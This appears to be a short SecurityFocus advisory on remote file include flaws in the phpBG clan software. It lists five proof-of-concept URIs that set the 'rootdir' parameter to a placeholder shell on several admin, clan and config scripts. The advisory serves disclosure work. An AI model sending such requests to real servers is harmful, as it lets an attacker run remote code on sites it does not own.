phpBG rootdir Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/intern/admin/other/backup.php?admin=1&rootdir=Shell
http://www.example.com/intern/admin/?rootdir=Shell
http://www.example.com/intern/clan/member_add.php?rootdir=Shell
http://www.example.com/intern/config/key_2.php?rootdir=Shell
http://www.example.com/intern/config/forum.php?rootdir=Shell


 

Privacy Statement
Copyright 2010, SecurityFocus